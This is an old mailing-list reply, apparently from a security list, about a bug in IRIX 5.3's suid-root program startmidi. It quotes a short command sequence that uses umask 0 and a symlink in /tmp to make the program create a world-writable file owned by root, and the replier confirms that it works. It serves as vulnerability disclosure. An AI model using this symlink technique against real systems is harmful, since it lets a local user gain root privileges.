Re: IRIX: Bug in startmidi

[astley () DMF328 UST HK (Astley Chan)]

> > Whilst browsing around the filesystem on my SGI (running IRIX 5.3), I
> > noticed a little suid-root program called 'startmidi' which hides in
> > /usr/sbin. When run, this program creates various files in /tmp. You
> > guessed it, it respects umask and follows symlinks. Comme ca:
> >
> > % umask 0
> > % ln -s /blardyblar /tmp/.midipid
> > % startmidi -d /dev/ttyd1
> > % ls -l /blardyblar
> > -rw-rw-rw-    1 root     pgrad          0 Feb  9 17:46 /blardyblar
> > % stopmidi -d /dev/ttyd1
>
> eh... that's strange.  I was looking at startmidi a while back, but didn't
> find any root holes.  Now I look again, still nothing.  Indeed, on my 5.3

umm..I can successfully create file owned by root..

> You must have some special configuration, I recon.  On the box I was testing

I don't think it's special to his machine, I've got the same behaviour
as described (though stopmidi can't remove the file already in /tmp).

astley